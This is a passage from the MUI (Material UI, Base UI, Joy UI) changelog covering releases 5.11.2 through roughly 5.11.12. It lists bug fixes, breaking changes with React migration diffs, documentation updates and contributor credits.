in the theme prop:\n\n  ```diff\n   <CssVarsProvider\n  +   theme={createCssVarsProvider({\n  +    // other theme keys\n  +    shouldSkipGeneratingVar: (keys) => keys[0] === 'typography' && keys[1] === 'h1'\n  +   })} />\n  ```\n\n  This breaking change **only** affects experimental APIs\n\n### `@mui/base@5.0.0-alpha.120`\n\n#### Breaking changes\n\n- [Select][base] Add the multiselect functionality to SelectUnstyled (#36274) @michaldudak\n\n  The MultiSelectUnstyled was removed. The `SelectUnstyled` component with the `multiple` prop should be used instead. Additionally, the SelectUnstyledProps received a second generic parameter: `Multiple extends boolean`. If you deal with strictly single- or multi-select components, you can hard-code this parameter to `false` or `true`, respectively. Below is an example of how the migration should look like:\n\n  ```diff\n  -import MultiSelectUnstyled from '@mui/base/MultiSelectUnstyled';\n  +import SelectUnstyled from '@mui/base/SelectUnstyled';\n\n   export default App() {\n  -return <MultiSelectUnstyled />\n  +return <SelectUnstyled multiple />\n   }\n  ```\n\n#### Changes\n\n- [useSnackBar] Add explicit return type (#36052) @sai6855\n- [useMenu] Fix `import type` syntax (#36411) @ZeeshanTamboli\n- [useSwitch] Add explicit return type (#36050) @sai6855\n\n### `@mui/joy@5.0.0-alpha.70`\n\n#### Breaking changes\n\n- [Joy] Change CSS variables naming for components (#36282) @hbjORbj\n\n  Joy UI has new naming standards of the CSS variables for its components. Below is an example of how the migration should look like:\n\n  ```diff\n  -<List sx={{ py: 'var(--List-divider-gap)' }}>\n  +<List sx={{ py: 'var(--ListDivider-gap)' }}>\n  -<Switch sx={{ '--Switch-track-width': '40px' }}>\n  +<Switch sx={{ '--Switch-trackWidth': '40px' }}>\n  ```\n\n#### Changes\n\n- [Autocomplete][joy] Add disabled class to the popup indicator (#36397) @hbjORbj\n- [Joy] Fix broken loading button in Safari (#36298) @Kuba429\n\n### Docs\n\n- [docs][joy] Clarify when `CssVarsProvider` is required (#36410) @mnajdova\n- MUI X v6 release announcement (#36398) @joserodolfofreitas\n- [docs] Add instructions for deploying docs without a release (#36301) @cherniavskii\n- [docs] Fix 301 redirections on the docs @oliviertassinari\n- [docs] Update MUI X banner to reflect stable release (#36354) @MBilalShafi\n- [docs] Clarify the future plan for integrating Base UI in Material UI (#36365) @mnajdova\n- [docs] Improve visual look of loose lists (#36190) @oliviertassinari\n- [docs] Fix @mui/styles example links (#36331) @oliviertassinari\n- [docs][joy] Build TS versions for List component demos (#36382) @sai6855\n- [docs][joy] Build TS versions for Radio component demos (#36406) @sai6855\n- [docs][joy] Build TS versions for Checkbox component demos (#36381) @sai6855\n- [docs][joy] Build TS versions for Select component demos (#36380) @sai6855\n- [docs][joy] Build TS versions for Typography component demos (#36378) @varunmulay22\n- [docs][joy] Add TypeScript demos for `Divider` (#36374) @sai6855\n- [docs][joy] Build TS versions for Textarea component demos (#36371) @varunmulay22\n- [docs][joy] Build TS versions for Link component demos (#36366) @hbjORbj\n\n### Core\n\n- Revert \"Bump rimraf to ^4.1.3\" (#36420) @mnajdova\n- [core] Fix test utils types and external `buildApiUtils` usage issues (#36310) @LukasTy\n- [test] Remove duplicate `combobox` role queries in Autocomplete tests (#36394) @ZeeshanTamboli\n\nAll contributors of this release in alphabetical order: @cherniavskii, @hbjORbj, @joserodolfofreitas, @Kuba429, @Kundan28, @LukasTy, @MBilalShafi, @michaldudak, @mnajdova, @NoFr1ends, @oliviertassinari, @Osman-Sodefa, @Paatus, @sai6855, @SaidMarar, @varunmulay22, @ZeeshanTamboli\n\n## 5.11.11\n\n<!-- generated comparing v5.11.10..master -->\n\n_Feb 27, 2023_\n\nA big thanks to the 15 contributors who made this release possible. Here are some highlights ✨:\n\n- 📚 added API documentation for the slots in Base UI and Joy UI by @hbjORbj, for e.g. [SliderUnstyled API](https://v6.mui.com/base-ui/api/slider-unstyled/#slots)\n- other 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.11.11`\n\n- [Autocomplete] Adds `sx` prop to `ListboxProps` type (#36243) @sai6855\n- [material] Add global CSS class for `readOnly` prop (#32822) @jrparish\n- [Stack][material] Use createStack from MUI System (#33795) @mnajdova\n- [Select] Fix incorrect selecting of first element (#36024) @michaldudak\n- [Slider] Miscellaneous improvements (#35941) @ZeeshanTamboli\n- [Slider] Remove unnecessary `data-focusvisible` attribute (#36091) @ZeeshanTamboli\n- [Snackbar] Replace component logic with `useSnackbar` hook (#36272) @ZeeshanTamboli\n- [TextField] Fix floating label position (#36246) @oliviertassinari\n- [TextField] Fix floating label position (#36288) @oliviertassinari\n\n### `@mui/base@5.0.0-alpha.119`\n\n#### Breaking changes\n\n- [base] Remove `classes` prop from the Base components that have it (#36157) @hbjORbj\n  These are the components affected by this change: ModalUnstyled, SliderUnstyled, TablePaginationUnstyled and TablePaginationActionsUnstyled.\n  You can replace the `classes` prop by providing the class name prop directly to the prop via `slotProps`. Below is an example of how the migration should look like:\n\n  ```diff\n   <TablePaginationUnstyled\n  -   classes={{ toolbar: 'toolbar-classname', menuItem: 'menuItem-classname' }}\n  +   slotProps={{ toolbar: { className: 'toolbar-classname' }, menuItem: { className: 'menuItem-classname'}}}\n   />\n  ```\n\n- [base] Move hooks to their own directories (#36235) @hbjORbj\n  Base hooks (e.g., `useSelect`) are no longer exported from `{Component}Unstyled` directories and instead they have their own directories.\n  Below is an example of how the migration should look like:\n\n  ```diff\n  -import { useBadge } from '@mui/base/BadgeUnstyled';\n  +import useBadge from '@mui/base/useBadge';\n  ```\n\n  You can use this [codemod](https://github.com/mui/material-ui/blob/master/packages/mui-codemod/README.md#base-hook-imports) to help with the migration.\n\n#### Changes\n\n- [Autocomplete] Add docs interface for the hook (#36242) @HeVictor\n- [MenuUnstyled] Remove extra useMemo (#36265) @ivp-dev\n- [base] Export all slot prop overrides interfaces (#36323) @michaldudak\n\n### `@mui/codemod@5.11.11`\n\n- [base] Codemod for hook directory migration (#36295) @hbjORbj\n\n### `@mui/joy@5.0.0-alpha.69`\n\n- [Joy] Able to remove default tokens from theme types (#36006) @siriwatknp\n- [Joy] Fix modal dialog overflow viewport (#36103) @siriwatknp\n- [Joy] Select popup should have max-height (#36156) @Vivek-Prajapatii\n- [Joy] Fix `ListDivider` to change semantic based on `List` (#36266) @siriwatknp\n\n### Docs\n\n- [docs][base] List slots in API documentation (#36104) @hbjORbj\n- [docs] Add missing sandbox adapter deps resolving (#36291) @LukasTy\n- [docs] Allow to pass navigation bar banner from outside (#36299) @MBilalShafi\n- [docs] Fix code on the Working with Tailwind CSS guide (#36090) @mnajdova\n- [docs] Remove See Slots Section text from Material UI slots description (#36284) @hbjORbj\n- [docs] Fix emotion warning `:first-child` (#36263) @siriwatknp\n- [docs][joy] Improve the descriptions of props in API docs (#36307) @hbjORbj\n- [docs][joy] List slots in API documentation (#36271) @hbjORbj\n- [docs][joy] Build API documentations (#36008) @hbjORbj\n- [examples] Update Next.js examples to use built-in font (#36315) @Juneezee\n- [examples] Update curl link in `material-ui-nextjs-ts-v4-v5-migration` example README (#36321) @ZeeshanTamboli\n- [examples] Convert Next.js \\_document class components to function components (#36109) @ossan-engineer\n\n### Core\n\n- [Rating] Add a comment in Rating component to use `readOnly` state class (#36357) @ZeeshanTamboli\n\nAll contributors of this release in alphabetical order: @hbjORbj, @HeVictor, @ivp-dev, @jrparish, @Juneezee, @LukasTy, @MBilalShafi, @michaldudak, @mnajdova, @oliviertassinari, @ossan-engineer, @sai6855, @siriwatknp, @Vivek-Prajapatii, @ZeeshanTamboli\n\n## 5.11.10\n\n<!-- generated comparing v5.11.9..master -->\n\n_Feb 20, 2023_\n\nA big thanks to the 11 contributors who made this release possible.\nThis release was mostly about 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.11.10`\n\n- [Avatar] Fix ownerState usage with styleOverrides when fallback is used (#36228) @sai6855\n- [Badge][material] Replace `BadgeUnstyled` with `useBadge` hook (#36158) @hbjORbj\n- [Switch] Fix DOM warning when `type` isn't `checkbox` or `radio` (#36170) @dani-mp\n- [TextareaAutosize] Convert code to TypeScript (#35862) @sai6855\n- [useMediaQuery] Fix behavior of noSsr with React 18 (#36056) @oliviertassinari\n\n### `@mui/joy@5.0.0-alpha.68`\n\n- [Joy] Add `zIndex` to theme (#36236) @siriwatknp\n- [Joy] Remove transition from all components (#35952) @hbjORbj\n\n### Docs\n\n- [docs][base] Fix base Input demos for Safari (#36213) @mj12albert\n- [docs] Fix 301 links @oliviertassinari\n- [docs] Fix modal transition demos (#36137) @oliviertassinari\n- [docs] Update links to pt examples (#36237) @Aleff13\n- [docs] Update custom Typography variants example (#36185) @mj12albert\n- [docs] Change markdown numbering syntax (#36187) @mj12albert\n- [docs] Fix switch alignment in `Disabled tree items` section in Tree View docs (#36217) @PunitSoniME\n- [docs] Standardize example names (#36112) @samuelsycamore\n- [docs] Fix typo @oliviertassinari\n- [docs] Fix markdown table alignments (#36136) @oliviertassinari\n- [docs] Small color tweaks to the docs search bar (#36160) @danilo-leal\n- [docs][joy] Update class name prefixes in the `Anatomy` section (#36210) @ZeeshanTamboli\n\n### Core\n\n- [core] Migrate nprogress to emotion (#36181) @siriwatknp\n- [core] Enforce namespace import for ReactDOM (#36208) @mj12albert\n- [core] Fix deploy preview links (#36203) @siriwatknp\n\nAll contributors of this release in alphabetical order: @Aleff13, @dani-mp, @danilo-leal, @hbjORbj, @mj12albert, @oliviertassinari, @PunitSoniME, @sai6855, @samuelsycamore, @siriwatknp, @ZeeshanTamboli\n\n## 5.11.9\n\n<!-- generated comparing v5.11.8..master -->\n\n_Feb 14, 2023_\n\nA big thanks to the 17 contributors who made this release possible. Here are some highlights ✨:\n\n- 🐛 @rangoo94, @sai6855, and @michaldudak fixed a couple of bugs in the Autocomplete component (#36116, #35640, #36076, #36088)\n- many other 🐛 bug fixes and 📚 documentation improvements\n\n### `@mui/material@5.11.9`\n\n- [AppBar] Fix joinVars() not handling undefined (#36128) @donaldnevermore\n- [Autocomplete] Fix tag removal regression (#36116) @michaldudak\n- [Autocomplete] Correct padding of filled Autocomplete (#35640) @michaldudak\n- [Grid][Stack] classNames prefixed with Mui (#36167) @sai6855\n\n### `@mui/styled-engine@5.11.9`\n\n- [StyledEngineProvider] Fix issue with cache not being defined (#36162) @mnajdova\n\n### `@mui/joy@5.0.0-alpha.67`\n\n- [Joy] Add order dashboard template (#36081) @siriwatknp\n- [Joy] Remove classes prop from the components that have it (#36159) @hbjORbj\n- [Joy] Miscellaneous fixes (#36163) @siriwatknp\n\n### `@mui/base@5.0.0-alpha.118`\n\n- [base] Override the types of `slotProps` per slot (#35964) @hbjORbj\n- [Select][base] Prevent unnecessary rerendering of Select options (#35946) @michaldudak\n- [Select][base] Update the generated docs (#36183) @michaldudak\n- [useAutocomplete] Pass only valid values for the getOptionLabel prop (#36088) @rangoo94\n- [useAutocomplete] Fix `useAutocomplete` disabled prop not disabling the input (#36076) @sai6855\n- [useInput] Add return value interface (#36036) @Shorifpatwary\n- [UseTabPanel] Add explicit return type (#36053) @Shorifpatwary\n- [useTabsList] Add explicit return type (#36048) @sai6855\n- [Tab] Add explicit return type to useTab (#36046) @sai6855\n\n### `@mui/material-next@6.0.0-alpha.75`\n\n- [Material You] Use `md` as a CSS var prefix (#36177) @siriwatknp\n\n### Docs\n\n- [docs] Fix the prop type regression on the API pages (#36168) @mnajdova\n- [docs] Fix virtualized table column resizing (#36066) @petyosi\n- [docs] Fix react-spring demos (#36023) @oliviertassinari\n- [docs] Fix classname mismatch on Joy docs (#36127) @siriwatknp\n- [docs] Fix typo in the released version of @mui/styled-engine (#36121) @m4theushw\n- [docs] Fix demos showing TypeScript instead of JavaScript (#35850) @mj12albert\n- [docs] Update release instructions (#36113) @mj12albert\n- [docs] Rename `v6-alpha` to `v6-next` in navigation (#36102) @LukasTy\n- [docs] Revise Joy UI \"Input\" page (#35970) @LadyBluenotes\n- [docs] Revise Joy UI \"Typography\" page (#35868) @LadyBluenotes\n\n### Examples\n\n- [examples][vitejs] Load Roboto font (#35678) @oliv37\n\n### Core\n\n- [blog] Fix the look and feel of the media description (#36069) @oliviertassinari\n- [core] Add default preview url (#36118) @siriwatknp\n- [core] Migrate all the internals exported by `tests/utils/index.js` to TypeScript (#35382) @flaviendelangle\n- [core] Convert the waterfall module to an internal package (#35323) @michaldudak\n- [POC] Add deploy preview to PR body (#35995) @siriwatknp\n\nAll contributors of this release in alphabetical order: @danilo-leal, @donaldnevermore, @flaviendelangle, @hbjORbj, @LadyBluenotes, @LukasTy, @m4theushw, @michaldudak, @mj12albert, @mnajdova, @oliv37, @oliviertassinari, @petyosi, @rangoo94, @sai6855, @Shorifpatwary, @siriwatknp\n\n## 5.11.8\n\n<!-- generated comparing v5.11.7..master -->\n\n_Feb 7, 2023_\n\nA big thanks to the 14 contributors who made this release possible. Here are some highlights ✨:\n\n- @siriwatknp added a new [`Sign In` template](https://mui.com/joy-ui/getting-started/templates/sign-in-side/) to Joy UI (#36019)\n- 📚 Documentation improvements and 🐛 bug fixes as usual\n\n### `@mui/material@5.11.8`\n\n- [FormLabel] Export `FormLabelOwnProps` from `FormLabel` to fix type error (#36057) @yoskeoka\n\n### `@mui/joy@5.0.0-alpha.66`\n\n- [Joy] Miscellaneous fixes (#36073) @siriwatknp\n- [Joy] Add sign-in side template (#36019) @siriwatknp\n- [Joy] Add missing `Table` export from root (#36010) @sai6855\n\n### `@mui/system@5.11.8`\n\n- [System] Fix nested grid v2 (#35994) @siriwatknp\n\n### `@mui/styled-engine@5.11.8`\n\n- [styled-engine] Create cache only if `document` is available (#36001) @m4theushw\n\n### Docs\n\n- [blog] Fix dark mode support (#35969) @oliviertassinari\n- [docs] Add banner pointing to \"Whats new\" in MUI X page (#36074) @joserodolfofreitas\n- [docs] Revert unintended change @oliviertassinari\n- [docs] [Joy] Fixed a typo in `customizing theme tokens` (#36067) @badalsaibo\n- [docs] Improve inline preview's information (#35974) @oliviertassinari\n- [docs] Fix wrong v5 migration instructions (#36022) @oliviertassinari\n- [docs] Fix autocomplete render group key warning in the demo (#36025) @chuanyu0201\n- [docs] Add hooks API pages for Base UI (#35828) @mnajdova\n- [docs] Fix grammar typo (#36016) @alexownejazayeri\n- [docs][joy] Add JSDoc for the `AutocompleteProps` type (#36039) @ArthurPedroti\n\n### Core\n\n- [core] Make it easier to find who is importing specific files (#35896) @oliviertassinari\n- [core] Fix SEO redirections issues (#36041) @oliviertassinari\n- [core] Fix a typo in the comment in setup test files (#36014) @ZeeshanTamboli\n- [typescript] Explicitly define the component return types (#36013) @michaldudak\n\nAll contributors of this release in alphabetical order: @alexownejazayeri, @ArthurPedroti, @badalsaibo, @chuanyu0201, @joserodolfofreitas, @m4theushw, @michaldudak, @mj12albert, @mnajdova, @oliviertassinari, @sai6855, @siriwatknp, @yoskeoka, @ZeeshanTamboli\n\n## 5.11.7\n\n<!-- generated comparing v5.11.6..master -->\n\n_Jan 31, 2023_\n\nA big thanks to the 15 contributors who made this release possible. Here are some highlights ✨:\n\n- @siriwatknp added `Table` component to Joy UI (#35872)\n- many other 🐛 bug fixes and 📚 documentation improvements\n\n### `@mui/material@5.11.7`\n\n- [Autocomplete] Prevent reset scroll position when new options are added (#35735) @sai6855\n- [CssVarsProvider] Skip `unstable_sxConfig` variables (#35932) @siriwatknp\n- [InputLabel] Add missing `component` type (#35852) @sai6855\n- [Tooltip] Fix tooltip position (#35909) @marktoman\n\n### `@mui/base@5.0.0-alpha.116`\n\n- [ListboxUnstyled] Fix option state highlighted to prevent unnecessary focus (#35838) @SaidMarar\n\n### `@mui/joy@5.0.0-alpha.65`\n\n#### Breaking changes\n\n- [Joy] Replace `Joy[Component]` classname with `Mui[Component]` classname for all slots of components (#35718) @hbjORbj\n  - Renames the classname prefix of all Joy UI components from `'Joy'` to `'Mui'`.\n\n  ```diff\n   <Button\n  -sx={{ '& .JoyButton-root': { '& .JoyButton-button': {} } }}\n  +sx={{ '& .MuiButton-root': { '& .MuiButton-button': {} } }}\n   />\n  ```\n\n  You can use this [codemod](https://github.com/mui/material-ui/blob/master/packages/mui-codemod/README.md#joy-rename-classname-prefix) to help with the migration.\n\n- [Joy] Replace `row` prop with `orientation` prop in all Joy UI components (#35721) @hbjORbj\n  - Transforms `row` prop to `orientation` prop across `Card`, `List` and `RadioGroup` components in Joy UI.\n\n  ```diff\n   <Card\n  -row\n  +orientation={\"horizontal\"}\n   />\n  ```\n\n  You can use this [codemod](https://github.com/mui/material-ui/blob/master/packages/mui-codemod/README.md#joy-rename-row-prop) to help with the migration.\n\n#### Changes\n\n- [Joy][Checkbox] Display correct icon in checkbox (#35943) @sai6855\n- [Joy] Add `Table` component (#35872) @siriwatknp\n- [Joy] Miscellaneous fixes (#35953) @siriwatknp\n\n### Docs\n\n- [blog] Add RSS feed (#35777) @gorjiali\n- [blog] Prevent horizontal scroll on blog posts (#35948) @oliviertassinari\n- [docs] Add to codemod README about an added script (#35999) @hbjORbj\n- [docs] Add a warning about to clear the local storage when `defaultMode` changes (#35937) @ArthurPedroti\n- [docs] Fix Joy UI variables playground (#35950) @siriwatknp\n- [docs] Fix typos in base components docs (#35985) @HeVictor\n- [docs] Fix event's label reported to GA (#35930) @oliviertassinari\n- [docs] Standardize \"no longer\" / \"not documented\" callouts in Material UI docs (#35957) @samuelsycamore\n- [docs] Revise and expand Joy UI Checkbox doc (#35817) @samuelsycamore\n- [docs] Add docs notification to Date and Time Pickers revamped (#35935) @joserodolfofreitas\n- [docs] Update community theme builder to forked updated one (#35928) @idebeijer\n- [docs] Add Joy default theme viewer (#35554) @siriwatknp\n- [docs][joy] Fixed a typo in `Using icon libraries` page (#35989) @badalsaibo\n- [docs][joy] Removed Badge info from Chip docs (#35955) @Vivek-Prajapatii\n- [docs][system] Fix border color of Boxes in demos of `Configure the sx prop` page in dark mode (#35961) @ZeeshanTamboli\n\n### Core\n\n- [core] Boolean props always have a default value of `false` in API docs (#35913) @hbjORbj\n- [core] Improve types for usePreviousProps (#35833) @sai6855\n\nAll contributors of this release in alphabetical order: @ArthurPedroti, @badalsaibo, @gorjiali, @hbjORbj, @HeVictor, @idebeijer, @joserodolfofreitas, @marktoman, @oliviertassinari, @sai6855, @SaidMarar, @samuelsycamore, @siriwatknp, @Vivek-Prajapatii, @ZeeshanTamboli\n\n## 5.11.6\n\n<!-- generated comparing v5.11.5..master -->\n\n_Jan 23, 2023_\n\nA big thanks to the 13 contributors who made this release possible. Here are some highlights ✨:\n\n- @ZeeshanTamboli improved the logic for handling the value label in the `SliderUnstyled` (#35805)\n- many other 🐛 bug fixes and 📚 documentation improvements\n\n### `@mui/material@5.11.6`\n\n- [Box] Fix usage of not supported features in TypeScript 3.5 (#35877) @mnajdova\n- [Button] Fix border color for secondary disabled button (#35866) @SaidMarar\n- [SwipeableDrawer] Add callback to customise touchstart ignore for swipeable drawer (#30759) @tech-meppem\n\n### `@mui/base@5.0.0-alpha.115`\n\n#### Breaking changes\n\n- [SliderUnstyled] Improved logic for displaying the value label (#35805) @ZeeshanTamboli\n  - The `valueLabelDisplay` prop is removed from `SliderUnstyled`. The prop was not working as intended in `SliderUnstyled` (See #35398). You can instead provide a `valueLabel` slot with the `slots` prop API to show the value label:\n\n  ```diff\n  - <SliderUnstyled valueLabelDisplay=\"on\" />\n  + <SliderUnstyled slots={{ valueLabel: SliderValueLabel }} />\n  ```\n\n  The following demo shows how to show a value label when it is hovered over with the thumb: https://v6.mui.com/base-ui/react-slider/#value-label\n  - The following classes are removed from `sliderUnstyledClasses` since they are not needed for the value label:\n\n  ```diff\n  - valueLabel\n  - valueLabelOpen\n  - valueLabelCircle\n  - valueLabelLabel\n  ```\n\n  In the custom value label component, you can define your own classNames and target them with CSS.\n  - The `SliderValueLabelUnstyled` component is removed from SliderUnstyled. You should provide your own custom component for the value label.\n\n  - To avoid using `React.cloneElement` API in value label, the component hierarchy structure of the value label is changed. The value label is now inside the Thumb slot - `Thumb` -> `Input`, `ValueLabel`.\n\n#### Changes\n\n- [InputUnstyled] Fix externally provided `inputRef` is ignored (#35807) @sai6855\n\n### `@mui/joy@5.0.0-alpha.64`\n\n- [Avatar][joy] Remove `imgProps` prop and add Codemod script for migration (#35859) @hbjORbj\n\n### Docs\n\n- [blog] Date and time pickers revamped (#35486) @joserodolfofreitas\n- [docs] Fix incorrect breakpoint use (#34948) @rosita-dmello\n- [docs] Replace react-virtualized with react-virtuoso in Table (#35700) @petyosi\n- [docs] Fix account menu demo not closing with keyboard. (#35870) @mj12albert\n- [docs] Fix typos in the docs of Joy UI (#35876) @HeVictor\n- [docs] Fix wording in `Color` page (#35873) @oliv37\n\n### Core\n\n- [core] Fix release changelog to handle commits with empty author field (#35921) @mnajdova\n- [core] Revert `docs-utilities` migration to TypeScript and fix type (#35881) @ZeeshanTamboli\n- [core] Migrate internal `docs-utilities` package to TypeScript (#35846) @ZeeshanTamboli\n\nAll contributors of this release in alphabetical order: @HeVictor, @hbjORbj, @joserodolfofreitas, @mj12albert, @mnajdova, @oliv37, @oliviertassinari, @petyosi, @rosita-dmello, @sai6855, @SaidMarar, @tech-meppem, @ZeeshanTamboli\n\n## 5.11.5\n\n<!-- generated comparing v5.11.4..master -->\n\n_Jan 17, 2023_\n\nA big thanks to the 17 contributors who made this release possible.\nThis release was mostly about 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.11.5`\n\n- [Material UI] Custom channel token should suppress the warning (#35804) @siriwatknp\n- [Autocomplete] Fix value type when `strictNullChecks` is `false` (#35367) @fenghan34\n- [Slider] Replace `SliderUnstyled` with `useSlider` hook (#35770) @ZeeshanTamboli\n- [l10n] Add Belarusian translation (#35742) @volhalink\n\n### `@mui/system@5.11.5`\n\n- [system] Improve the `createBox` types (#35532) @mnajdova\n\n### `@mui/codemod@5.11.5`\n\n- Add `joy-text-field-to-input` codemod (#35462) @hbjORbj\n\n### `@mui/base@5.0.0-alpha.114`\n\n- [base] Fix typos (#35802) @nnmax\n- [Slider] Convert code to TypeScript (#35445) @sai6855\n\n### `@mui/joy@5.0.0-alpha.63`\n\n- [Tabs][joy] Don't apply `:hover, :active` styles when `selected` (#35750) @sai6855\n- Remove `TextField` component and replace its usage in docs with `FormControl`/`FormLabel`/`Input` (#35462) @hbjORbj\n- [TextField] Throw error with migration message (#35845) @siriwatknp\n- Miscellaneous fixes (#35847) @siriwatknp\n\n### Docs\n\n- [docs] Improve pickers lab migration stressing `mui-x` usage (#35740) @LukasTy\n- [docs] Fix incorrectly named AccessibleTable demo component (#35832) @HeVictor\n- [docs] Clarify where to find docs for Base UI components in Material UI (#35799) @samuelsycamore\n- [docs] Fix typos (#35814) @alexfauquette\n- [docs] Revise and expand the Joy UI Card page (#35745) @samuelsycamore\n- [docs] Fix navigation layout shift (#35679) @oliviertassinari\n- [docs] Fix typo in the Composition page (#35774) @msoyka\n- [docs][joy] Update Customization section code example to use the correct API (#35765) @pupudu\n- [docs][joy] Fix grammar in `Typography` docs (#35796) @atrefonas\n- [examples] Remove `next-env.d.ts` from Next.js examples (#35772) @Juneezee\n\n### Core\n\nAll contributors of this release in alphabetical order: @alexfauquette, @atrefonas, @fenghan34, @hbjORbj, @HeVictor, @Juneezee, @LukasTy, @mnajdova, @msoyka, @nnmax, @oliviertassinari, @pupudu, @sai6855, @samuelsycamore, @siriwatknp, @volhalink, @ZeeshanTamboli\n\n## 5.11.4\n\n<!-- generated comparing v5.11.3..master -->\n\n_Jan 9, 2023_\n\nA big thanks to the 14 contributors who made this release possible.\nThis release was mostly about 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.11.4`\n\n- [Autocomplete] Add index to renderOption's AutocompleteRenderOptionState (#35578) @CowDotDev\n- [Autocomplete] Fix grammar in console.error in `useAutocomplete` (#35723) @hamirmahal\n- [Modal] Fix can't override Backdrop Props using new Slots API (#35140) @ZeeshanTamboli\n- [Select] Revert \"Update `renderValue` prop's TypeScript type (#34177)\" (#35733) @michaldudak\n- [Tabs] Throw error only if individual `Tab` is hidden, not the whole `Tabs` (#34026) @Ryczko\n- [TextField] Improve WCAG 2.4.7 with error={true} (#35687) @oliviertassinari\n- [Tooltip] Remove `data-foo` attribute (#35736) @koolskateguy89\n\n### `@mui/joy@5.0.0-alpha.62`\n\n- [Autocomplete][joy] Specify `type` attribute for popup indicator (#35648) @hbjORbj\n- [Joy] Miscellaneous improvements (#35769) @siriwatknp\n- [Joy] Improve `onKeyDown` event handler for demo (#35642) @hbjORbj\n\n### `@mui/base@5.0.0-alpha.113`\n\n- [Portal][base] Convert code to TypeScript (#35657) @sai6855\n\n### Docs\n\n- [docs] Revise and expand Joy UI Button doc (#35737) @samuelsycamore\n- [docs] Document the workaround for crashing a translated page (#35720) @michaldudak\n- [docs] Fix API page for `MenuItem` to list all valid props (#35561) @mnajdova\n- [docs] Fix ad exception in Joy UI (#35685) @oliviertassinari\n- [docs] Fix content wider than screen regression @oliviertassinari\n- [examples] Add `Vite.js with TypeScript` example (#35683) @miha53cevic\n\n### Core\n\n- [core] Close 2022 Developer Survey @oliviertassinari\n- [core] Fix the product license reference name (#35703) @oliviertassinari\n- [core] Use TypeScript AST instead of TTP for component doc building (#35379) @flaviendelangle\n- [test] Always use & for nesting styles (#35702) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @CowDotDev, @flaviendelangle, @hamirmahal, @hbjORbj, @koolskateguy89, @michaldudak, @miha53cevic, @mnajdova, @oliviertassinari, @Ryczko, @sai6855, @samuelsycamore, @siriwatknp, @ZeeshanTamboli\n\n## 5.11.3\n\n<!-- generated comparing v5.11.2..master -->\n\n_Jan 2, 2023_\n\nA big thanks to the 6 contributors who made this release possible.\nThis release was mostly about 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.11.3`\n\n- [Select] Update `renderValue` prop's TypeScript type (#34177) @ZeeshanTamboli\n\n### `@mui/joy@5.0.0-alpha.61`\n\n- [Autocomplete][joy] Export component (#35647) @mbranch\n\n### Docs\n\n- [blog] Fix handling of markdown links (#35628) @oliviertassinari\n- [docs] Fix demo code selection through copy shortcut key on Firefox browser (#35670) @ZeeshanTamboli\n- [docs] Fix layout shift when streaming the page (#35627) @oliviertassinari\n- [docs] Fix switch name to reflect the color (#35052) @rjhcnf\n- [docs] Fix anchor link in the card's docs and fix a typo (#35634) @ZeeshanTamboli\n- [docs] Fix layout shift with modal (#35591) @oliviertassinari\n- [Joy][docs] Add documentation for `Input` component (#35482) @hbjORbj\n- [docs][joy] Improved readability on theme tokens page (#35639) @badalsaibo\n\n### Core\n\n- [core] Disable prefetch of footer links @oliviertassinari\n- [core] A few SEO fixes (#35672) @oliviertassinari\n- [core] Remove need for scopePathnames (#35584) @oliviertassinari\n- [test] Fix Algolia noisy lvl1 anchor (#35686) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @badalsaibo, @hbjORbj, @mbranch, @oliviertassinari, @rjhcnf, @ZeeshanTamboli\n\n## 5.11.2\n\n<!-- generated comparing v5.11.1..master -->\n\n_Dec 26, 2022_\n\nA big thanks to the 20 contributors who made this release possible. Here are some highlights ✨:\n\n- ⚙️ Several Base UI components were converted to TypeScript by @trizotti, @leventdeniz and @danhuynhdev (#35005, #34793, #34771)\n- Many other 🐛 bug fixes abd 📚 documentation improvements.\n\n### `@mui/material@5.11.2`\n\n- [l10n] Add displayed rows label to `faIR` locale (#35587) @hootan-rocky\n- [l10n] Add Kurdish (Kurmanji) locale (#32508) @JagarYousef\n- [Select] Accept non-component children (#33530) @boutahlilsoufiane\n- [SelectInput] Update menu to use select wrapper as anchor (#34229) @EduardoSCosta\n- [TableCell] Fix `scope` prop to be not set when a data cell is rendered within a table head (#35559) @sai6855\n\n### `@mui/utils@5.11.2`\n\n- [utils] `mergedeep` deeply clones source key if it's an object (#35364) @sldk-yuri\n\n### `@mui/base@5.0.0-alpha.112`\n\n- [FocusTrap][base] Convert code to TypeScript (#35005) @trizotti\n- [Modal][base] Convert code to TypeScript (#34793) @leventdeniz\n- [Popper][base] Convert code to TypeScript (#34771) @danhuynhdev\n- [Slider] Exclude `isRtl` from Material UI's Slider props (#35564) @michaldudak\n\n### `@mui/joy@5.0.0-alpha.60`\n\n- [Joy] Fix radius adjustment (#35629) @siriwatknp\n- [Joy] Apply color inversion to components (#34602) @siriwatknp\n- [Joy] Improve cursor pointer and add fallback for outlined variant (#35573) @siriwatknp\n- [Joy] Miscellaneous fixes (#35552) @siriwatknp\n- [Radio][joy] Use precise dimensions for radio icon (#35548) @hbjORbj\n\n### `@mui/material-next@6.0.0-alpha.68`\n\n- [Material You] Update Button test & add active class name (#35497) @mnajdova\n\n### Docs\n\n- [docs] Fix GoogleMaps demo (#35545) @hbjORbj\n- [docs] Remove flow, its legacy (#35624) @oliviertassinari\n- [docs] Add a guide on using icon libraries with Joy UI (#35377) @siriwatknp\n- [docs] Clarify comment about `sortStability()` use case (#35570) @frontendlane\n- [docs] Improve the experimental API demos on the button page (#35560) @mnajdova\n- [docs] Force `light` theme mode when `activePage` is null (#35575) @LukasTy\n- [docs] Fix ListItem button deprecated use (#33970) @MickaelAustoni\n- [docs] Fix typo in `Progress` docs (#35553) @jasonsturges\n- [docs] Remove empty tags on the TransferList demos (#33127) @ekusiadadus\n- [docs][joy] Add documentation for `Stack` component (#35373) @hbjORbj\n- [docs][joy] Add documentation for `Grid` component (#35374) @hbjORbj\n\n### Core\n\n- [core] Shorthand notation to remove outline (#35623) @oliviertassinari\n- [core] Fix header link layout shift and clash (#35626) @oliviertassinari\n- [core] Hide keyboard shortcut if no hover feature (#35625) @oliviertassinari\n- [core] Fix confusing duplicated name in the log @oliviertassinari\n- [core] Fix API demos callout spacing (#35579) @oliviertassinari\n- [core] Fix a few title case (#35547) @oliviertassinari\n- [core] Cleanup mention of test-utils (#35577) 